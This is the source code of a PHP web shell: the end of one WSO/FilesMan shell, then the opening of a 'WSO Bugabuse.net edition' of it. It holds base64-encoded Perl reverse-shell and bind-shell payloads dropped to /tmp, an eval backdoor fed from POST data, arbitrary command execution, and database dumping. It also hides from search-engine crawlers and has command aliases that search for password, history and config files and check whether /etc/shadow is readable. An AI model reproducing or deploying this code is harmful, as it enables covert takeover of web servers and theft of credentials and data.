1274                case "Windows-1251": $db->setCharset('cp1251'); break;
1275                case "UTF-8": $db->setCharset('utf8'); break;
1276                case "KOI8-R": $db->setCharset('koi8r'); break;
1277                case "KOI8-U": $db->setCharset('koi8u'); break;
1278                case "cp866": $db->setCharset('cp866'); break;
1279            }
1280            $db->listDbs();
1281            echo "<select name=sql_base><option value=''></option>";
1282            while($item = $db->fetch()) {
1283                list($key, $value) = each($item);
1284                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1285            }
1286            echo '</select>';
1287        }
1288        else echo $tmp;
1289    }else
1290        echo $tmp;
1291    echo "</td> 
1292               <td><input type=submit value='>>'></td> 
1293           </tr> 
1294       </table> 
1295       <script> 
1296           function st(t,l) {
1297               document.sf.p1.value = 'select';
1298               document.sf.p2.value = t;
1299               if(l!=null)document.sf.p3.value = l;
1300               document.sf.submit();
1301           }
1302           function is() {
1303               for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1304                   document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1305           }
1306       </script>";
1307    if(isset($db) && $db->link){
1308        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1309            if(!empty($_POST['sql_base'])){
1310                $db->selectdb($_POST['sql_base']);
1311                echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1312                $tbls_res = $db->listTables();
1313                while($item = $db->fetch($tbls_res)) {
1314                    list($key, $value) = each($item);
1315                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1316                    $value = htmlspecialchars($value);
1317                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1318                }
1319                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1320                if(@$_POST['p1'] == 'select') {
1321                    $_POST['p1'] = 'query';
1322                    $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1323                    $num = $db->fetch();
1324                    $num = $num['n'];
1325                    echo "<span>".$_POST['p2']."</span> ($num) ";
1326                    for($i=0;$i<($num/30);$i++)
1327                        if($i != (int)$_POST['p3'])
1328                            echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1329                        else
1330                            echo ($i+1)," ";
1331                    if($_POST['type']=='pgsql')
1332                        $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1333                    else
1334                        $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1335                    echo "<br><br>";
1336                }
1337                if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1338                    $db->query(@$_POST['p3']);
1339                    if($db->res !== false) {
1340                        $title = false;
1341                        echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1342                        $line = 1;
1343                        while($item = $db->fetch())   {
1344                            if(!$title) {
1345                                echo '<tr>';
1346                                foreach($item as $key => $value)
1347                                    echo '<th>'.$key.'</th>';
1348                                reset($item);
1349                                $title=true;
1350                                echo '</tr><tr>';
1351                                $line = 2;
1352                            }
1353                            echo '<tr class="l'.$line.'">';
1354                            $line = $line==1?2:1;
1355                            foreach($item as $key => $value) {
1356                                if($value == null)
1357                                    echo '<td><i>null</i></td>';
1358                                else
1359                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1360                            }
1361                            echo '</tr>';
1362                        }
1363                        echo '</table>';
1364                    } else {
1365                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1366                    }
1367                }
1368                echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1369                echo "</td></tr>";
1370            }
1371            echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1372            if(@$_POST['p1'] == 'loadfile') {
1373                $file = $db->loadFile($_POST['p2']);
1374                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1375            }
1376    }
1377    echo '</div>';
1378    wsoFooter();
1379 }
1380 function actionNetwork() {
1381    wsoHeader();
1382    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1383    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1384    echo "<h1>Network tools</h1><div class=content> 
1385   <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> 
1386   <span>Bind port to /bin/sh 1</span><br/> 
1387   Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> 
1388   </form> 
1389   <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> 
1390   <span>Back-connect  1</span><br/> 
1391   Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> 
1392   </form><br>";
1393    if(isset($_POST['p1'])) {
1394        function cf($f,$t) {
1395            $w=@fopen($f,"w") or @function_exists('file_put_contents');
1396            if($w) {
1397                @fwrite($w,@base64_decode($t));
1398                @fclose($w);
1399            }
1400        }
1401        if($_POST['p1'] == 'bpp') {
1402            cf("/tmp/bp.pl",$bind_port_p);
1403            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1404            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1405        }
1406        if($_POST['p1'] == 'bcp') {
1407            cf("/tmp/bc.pl",$back_connect_p);
1408            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1409            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1410        }
1411    }
1412    echo '</div>';
1413    wsoFooter();
1414 }
1415 function actionRC() {
1416    if(!@$_POST['p1']) {
1417        $a = array(
1418            "uname" => php_uname(),
1419            "php_version" => phpversion(),
1420            "wso_version" => VERSION,
1421            "safemode" => @ini_get('safe_mode')
1422        );
1423        echo serialize($a);
1424    } else {
1425        eval($_POST['p1']);
1426    }
1427 }
1428 if( empty($_POST['a']) )
1429    if(isset($default_action) && function_exists('action' . $default_action))
1430        $_POST['a'] = $default_action;
1431    else
1432        $_POST['a'] = 'SecInfo';
1433 if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1434    call_user_func('action' . $_POST['a']);
1435 exit;
1436 ?>

Below is another version of the FilesMan shell – this one is the WSO Bugabuse.net edition – Modified by Led-Zeppelin.

   1 <?php
   2 $auth_pass = "615da5097ad7f4c7c38db0735bfb2004";
   3 $color = "#df5";
   4 $default_action = 'FilesMan';
   5 $default_use_ajax = true;
   6 $default_charset = 'Windows-1251';
   7 
   8 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
   9     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11         header('HTTP/1.0 404 Not Found');
  12         exit;
  13     }
  14 }
  15 
  16 @session_start();
  17 @ini_set('error_log',NULL);
  18 @ini_set('log_errors',0);
  19 @ini_set('max_execution_time',0);
  20 @set_time_limit(0);
  21 @set_magic_quotes_runtime(0);
  22 @define('WSO_VERSION', '2.5');
  23 
  24 if(get_magic_quotes_gpc()) {
  25    function WSOstripslashes($array) {
  26        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  27    }
  28    $_POST = WSOstripslashes($_POST);
  29 }
  30 
  31 function wsoLogin() {
  32    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  33 }
  34 
  35 if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  36    if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  37        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  38    else
  39        wsoLogin();
  40 
  41 if(strtolower(substr(PHP_OS,0,3)) == "win")
  42    $os = 'win';
  43 else
  44    $os = 'nix';
  45 
  46 $safe_mode = @ini_get('safe_mode');
  47 if(!$safe_mode)
  48     error_reporting(0);
  49 
  50 $disable_functions = @ini_get('disable_functions');
  51 $home_cwd = @getcwd();
  52 if(isset($_POST['c']))
  53    @chdir($_POST['c']);
  54 $cwd = @getcwd();
  55 if($os == 'win') {
  56    $home_cwd = str_replace("\\", "/", $home_cwd);
  57    $cwd = str_replace("\\", "/", $cwd);
  58 }
  59 if( $cwd[strlen($cwd)-1] != '/' )
  60    $cwd .= '/';
  61 
  62 if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  63     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  64 
  65 if($os == 'win')
  66    $aliases = array(
  67        "List Directory" => "dir",
  68        "Find index.php in current dir" => "dir /s /w /b index.php",
  69        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  70        "Show active connections" => "netstat -an",
  71        "Show running services" => "net start",
  72        "User accounts" => "net user",
  73        "Show computers" => "net view",
  74        "ARP Table" => "arp -a",
  75        "IP Configuration" => "ipconfig /all"
  76    );
  77 else
  78    $aliases = array(
  79        "List dir" => "ls -lha",
  80        "list file attributes on a Linux second extended file system" => "lsattr -va",
  81        "show opened ports" => "netstat -an | grep -i listen",
  82         "process status" => "ps aux",
  83        "Find" => "",
  84        "find all suid files" => "find / -type f -perm -04000 -ls",
  85        "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  86        "find all sgid files" => "find / -type f -perm -02000 -ls",
  87        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  88        "find config.inc.php files" => "find / -type f -name config.inc.php",
  89        "find config* files" => "find / -type f -name \"config*\"",
  90        "find config* files in current dir" => "find . -type f -name \"config*\"",
  91        "find all writable folders and files" => "find / -perm -2 -ls",
  92        "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  93        "find all service.pwd files" => "find / -type f -name service.pwd",
  94        "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  95        "find all .htpasswd files" => "find / -type f -name .htpasswd",
  96        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  97        "find all .bash_history files" => "find / -type f -name .bash_history",
  98        "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  99        "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
 100        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
 101        "Locate" => "",
 102        "locate httpd.conf files" => "locate httpd.conf",
 103        "locate vhosts.conf files" => "locate vhosts.conf",
 104        "locate proftpd.conf files" => "locate proftpd.conf",
 105        "locate psybnc.conf files" => "locate psybnc.conf",
 106        "locate my.conf files" => "locate my.conf",
 107        "locate admin.php files" =>"locate admin.php",
 108        "locate cfg.php files" => "locate cfg.php",
 109        "locate conf.php files" => "locate conf.php",
 110        "locate config.dat files" => "locate config.dat",
 111        "locate config.php files" => "locate config.php",
 112        "locate config.inc files" => "locate config.inc",
 113        "locate config.inc.php" => "locate config.inc.php",
 114        "locate config.default.php files" => "locate config.default.php",
 115        "locate config* files " => "locate config",
 116        "locate .conf files"=>"locate '.conf'",
 117        "locate .pwd files" => "locate '.pwd'",
 118        "locate .sql files" => "locate '.sql'",
 119        "locate .htpasswd files" => "locate '.htpasswd'",
 120        "locate .bash_history files" => "locate '.bash_history'",
 121        "locate .mysql_history files" => "locate '.mysql_history'",
 122        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
 123        "locate backup files" => "locate backup",
 124        "locate dump files" => "locate dump",
 125        "locate priv files" => "locate priv"
 126    );
 127 
 128 function wsoHeader() {
 129    if(empty($_POST['charset']))
 130        $_POST['charset'] = $GLOBALS['default_charset'];
 131    global $color;
 132    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
 133 <style>
 134 body{background-color:#444;color:#e1e1e1;}
 135 body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
 136 table.info{ color:#fff;background-color:#222; }
 137 span,h1,a{ color: $color !important; }
 138 span{ font-weight: bolder; }
 139 h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
 140 div.content{ padding: 5px;margin-left:5px;background-color:#333; }
 141 a{ text-decoration:none; }
 142 a:hover{ text-decoration:underline; }
 143 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
 144 .bigarea{ width:100%;height:250px; }
 145 input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
 146 form{ margin:0px; }
 147 #toolsTbl{ text-align:center; }
 148 .toolsInp{ width: 300px }
 149 .main th{text-align:left;background-color:#5e5e5e;}
 150 .main tr:hover{background-color:#5e5e5e}
 151 .l1{background-color:#444}
 152 .l2{background-color:#333}
 153 pre{font-family:Courier,Monospace;}
 154 </style>
 155 <script>
 156     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
 157     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
 158     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
 159     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
 160     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
 161     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
 162     var d = document;
 163   function set(a,c,p1,p2,p3,charset) {
 164       if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
 165       if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
 166       if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
 167       if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
 168       if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
 169       if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
 170   }
 171   function g(a,c,p1,p2,p3,charset) {
 172       set(a,c,p1,p2,p3,charset);
 173       d.mf.submit();
 174   }
 175   function a(a,c,p1,p2,p3,charset) {
 176       set(a,c,p1,p2,p3,charset);
 177       var params = 'ajax=true';
 178       for(i=0;i<d.mf.elements.length;i++)
 179           params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
 180       sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
 181   }
 182   function sr(url, params) {
 183       if (window.XMLHttpRequest)
 184           req = new XMLHttpRequest();
 185       else if (window.ActiveXObject)
 186           req = new ActiveXObject('Microsoft.XMLHTTP');
 187         if (req) {
 188             req.onreadystatechange = processReqChange;
 189             req.open('POST', url, true);
 190             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
 191             req.send(params);
 192         }
 193   }
 194   function processReqChange() {
 195       if( (req.readyState == 4) )
 196           if(req.status == 200) {
 197               var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
 198               var arr=reg.exec(req.responseText);
 199               eval(arr[2].substr(0, arr[1]));
 200           } else alert('Request error!');
 201   }
 202 </script>
 203 <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
 204 <form method=post name=mf style='display:none;'>
 205 <input type=hidden name=a>
 206 <input type=hidden name=c>
 207 <input type=hidden name=p1>
 208 <input type=hidden name=p2>
 209 
 210 <input type=hidden name=p3>
 211 <input type=hidden name=charset>
 212 </form>";
 213    $freeSpace = @diskfreespace($GLOBALS['cwd']);
 214    $totalSpace = @disk_total_space($GLOBALS['cwd']);
 215    $totalSpace = $totalSpace?$totalSpace:1;
 216    $release = @php_uname('r');
 217    $kernel = @php_uname('s');
 218    if(!function_exists('posix_getegid')) {
 219        $user = @get_current_user();
 220        $uid = @getmyuid();
 221        $gid = @getmygid();
 222        $group = "?";
 223    } else {
 224        $uid = @posix_getpwuid(posix_geteuid());
 225        $gid = @posix_getgrgid(posix_getegid());
 226        $user = $uid['name'];
 227        $uid = $uid['uid'];
 228        $group = $gid['name'];
 229        $gid = $gid['gid'];
 230    }
 231 
 232    $cwd_links = '';
 233    $path = explode("/", $GLOBALS['cwd']);
 234    $n=count($path);
 235    for($i=0; $i<$n-1; $i++) {
 236        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
 237        for($j=0; $j<=$i; $j++)
 238            $cwd_links .= $path[$j].'/';
 239        $cwd_links .= "\")'>".$path[$i]."/</a>";
 240    }
 241 
 242    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
 243    $opt_charsets = '';
 244    foreach($charsets as $item)
 245        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
 246 
 247    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql', 'PHP Tools' => 'phptools' ,'Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
 248    if(!empty($GLOBALS['auth_pass']))
 249        $m['Logout'] = 'Logout';
 250    $m['Self remove'] = 'SelfRemove';
 251    $menu = '';
 252    foreach($m as $k => $v)
 253        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
 254 
 255    $drives = "";
 256    if($GLOBALS['os'] == 'win') {
 257        foreach(range('c','z') as $drive)
 258        if(is_dir($drive.':\\'))
 259            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
 260    }
 261    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
 262        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
 263        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
 264        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
 265        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
 266 }
 267 
 268 function wsoFooter() {
 269    $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
 270     echo "
 271 
 272 </div>
 273 <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
 274   <tr>
 275       <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
 276       <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
 277   </tr><tr>
 278       <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
 279       <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
 280 
 281   </tr><tr>
 282       <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
 283       <td><form method='post' ENCTYPE='multipart/form-data'>
 284       <input type=hidden name=a value='FilesMAn'>
 285       <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
 286       <input type=hidden name=p1 value='uploadFile'>
 287       <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
 288       <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
 289 
 290   </tr></table><center>WSO Bugabuse.net edition - Modified by Led-Zeppelin</center></div></body></html>";
 291 }
 292 
 293 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
 294     function posix_getpwuid($p) {return false;} }
 295 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
 296     function posix_getgrgid($p) {return false;} }
 297 
 298 function wsoEx($in) {
 299    $out = '';
 300    if (function_exists('exec')) {
 301        @exec($in,$out);
 302        $out = @join("\n",$out);
 303    } elseif (function_exists('passthru')) {
 304        ob_start();
 305        @passthru($in);
 306        $out = ob_get_clean();
 307    } elseif (function_exists('system')) {
 308        ob_start();
 309        @system($in);
 310        $out = ob_get_clean();
 311    } elseif (function_exists('shell_exec')) {
 312        $out = shell_exec($in);
 313    } elseif (is_resource($f = @popen($in,"r"))) {
 314        $out = "";
 315        while(!@feof($f))
 316            $out .= fread($f,1024);
 317        pclose($f);
 318    }
 319    return $out;
 320 }
 321 function wsoViewSize($s) {
 322    if($s >= 1073741824)
 323        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
 324    elseif($s >= 1048576)
 325        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
 326    elseif($s >= 1024)
 327        return sprintf('%1.2f', $s / 1024 ) . ' KB';
 328    else
 329        return $s . ' B';
 330 }
 331 
 332 function wsoPerms($p) {
 333    if (($p & 0xC000) == 0xC000)$i = 's';
 334    elseif (($p & 0xA000) == 0xA000)$i = 'l';
 335    elseif (($p & 0x8000) == 0x8000)$i = '-';
 336    elseif (($p & 0x6000) == 0x6000)$i = 'b';
 337    elseif (($p & 0x4000) == 0x4000)$i = 'd';
 338    elseif (($p & 0x2000) == 0x2000)$i = 'c';
 339    elseif (($p & 0x1000) == 0x1000)$i = 'p';
 340    else $i = 'u';
 341    $i .= (($p & 0x0100) ? 'r' : '-');
 342    $i .= (($p & 0x0080) ? 'w' : '-');
 343    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
 344    $i .= (($p & 0x0020) ? 'r' : '-');
 345    $i .= (($p & 0x0010) ? 'w' : '-');
 346    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
 347    $i .= (($p & 0x0004) ? 'r' : '-');
 348    $i .= (($p & 0x0002) ? 'w' : '-');
 349    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
 350    return $i;
 351 }
 352 
 353 function wsoPermsColor($f) {
 354    if (!@is_readable($f))
 355        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
 356    elseif (!@is_writable($f))
 357        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
 358    else
 359        return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
 360 }
 361 
 362 if(!function_exists("scandir")) {
 363    function scandir($dir) {
 364        $dh  = opendir($dir);
 365        while (false !== ($filename = readdir($dh)))
 366            $files[] = $filename;
 367        return $files;
 368    }
 369 }
 370 
 371 function wsoWhich($p) {
 372    $path = wsoEx('which ' . $p);
 373    if(!empty($path))
 374        return $path;
 375    return false;
 376 }
 377 
 378 function actionSecInfo() {
 379    wsoHeader();
 380    echo '<h1>Server security information</h1><div class=content>';
 381    function wsoSecParam($n, $v) {
 382        $v = trim($v);
 383        if($v) {
 384            echo '<span>' . $n . ': </span>';
 385            if(strpos($v, "\n") === false)
 386                echo $v . '<br>';
 387            else
 388                echo '<pre class=ml1>' . $v . '</pre>';
 389        }
 390    }
 391 
 392    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
 393     if(function_exists('apache_get_modules'))
 394         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
 395    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
 396    wsoSecParam('Open base dir', @ini_get('open_basedir'));
 397    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
 398    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
 399    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
 400    $temp=array();
 401    if(function_exists('mysql_get_client_info'))
 402        $temp[] = "MySql (".mysql_get_client_info().")";
 403    if(function_exists('mssql_connect'))
 404        $temp[] = "MSSQL";
 405    if(function_exists('pg_connect'))
 406        $temp[] = "PostgreSQL";
 407    if(function_exists('oci_connect'))
 408        $temp[] = "Oracle";
 409    wsoSecParam('Supported databases', implode(', ', $temp));
 410    echo '<br>';
 411 
 412    if($GLOBALS['os'] == 'nix') {
 413        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
 414        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
 415        wsoSecParam('OS version', @file_get_contents('/proc/version'));
 416        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
 417        if(!$GLOBALS['safe_mode']) {
 418             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
